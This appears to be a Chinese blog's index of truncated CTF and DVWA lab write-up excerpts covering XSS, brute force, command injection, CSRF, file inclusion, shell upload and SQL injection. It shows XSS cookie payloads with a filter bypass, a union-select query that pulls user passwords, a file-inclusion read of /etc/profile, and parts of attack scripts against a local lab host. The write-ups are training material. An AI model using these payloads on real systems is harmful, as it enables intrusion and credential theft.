无节操

##1 以1开头的10位数字（0 <= 数字 <= 9）思路1：10位长时间戳## 2 8/9位数字（0 <= 数字 <= 9）思路1：9位，以十进制转IP；8位，以十六进制转IP

HITCON2017-Web-writeupProblemsbabyfirst-revengeProblemsbabyfirst-revengeDescription：<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @ch...

low无验证，Massage直接注入<script>alert(document.cookie)</script>medium查看源码发现Name只过滤了<scrpit>标签$name = str_replace( '<script>', '', $name ); 绕过思路：HTML页面修改Name的最大输入长度，注入Name，注入script大写<input name="txtName" typ

low无验证，直接注入<script>alert(document.cookie)</script>medium查看源码发现过滤了<scrpit>标签$name = str_replace( '<script>', '', $_GET[ 'name' ] ); 绕过思路：大写<Script>alert(document.cookie)</script>high查看源码，可发现用正则过滤了$name

low遍历字典（成功的前提是字典里有这个密码）import requestsimport redef main(): url = 'http://192.168.67.22/dvwa/vulnerabilities/brute/index.php' headers = { 'Cookie': 'PHPSESSID=h6r8555q2obvo388r4u50lg39

low查看源码// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $targ

low设置一下cookie的PHPSESSID和security即可跨站请求import requestsdef main(): url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php' headers = { 'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngk

low观察URL可发现，注入点在page，low等级直接注入http://192.168.67.22/dvwa/vulnerabilities/fi/?page=/etc/profile返回结果如下：# /etc/profile: system-wide .profile file for the Bourne shell (sh(1)) # and Bourne compatible shells

low这个等级直接上传shellimport requestsimport redef main(): headers = { 'Cookie': 'PHPSESSID=jb7d875vs8rlusttoadfi1m4l5; security=low' } url = 'http://192.168.67.22/dvwa/vulnerabilities/up

low查看源码，可发现是注入点id为字符类型，无验证，直接上：' union select first_name, password from users#返回结果如下：ID: ' union select first_name, password from users#First name: adminSurname: e2075474294983e013ee4dd2201c7a73ID:

low从数据库名到所有记录，用二分写了一遍。import requestsimport urllibimport jsonclass SqlHacker(object): """docstring for SqlHacker""" def __init__(self, post=False, inject_point_number=False): super(Sql

题目地址：http://hackinglab.cn/index_2.php---------------------------------------------------------------------------------1、key在哪里？（http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/ind

发现一个学CTF的好地方，IDF实验室的CTF训练营。。刚接触CTF，来玩下牛刀小试，AK了。。好爽好爽。。1、摩斯密码嘀嗒嘀嗒嘀嗒嘀嗒 时针它不停在转动--  ---  .-.  ...  .  嘀嗒嘀嗒嘀嗒嘀嗒 小雨它拍打着水花-.-.  ---  -..  .  ——>>题目是摩斯密码，搜索下“摩斯密码”，发现了嘀（.）嗒（-）和英文字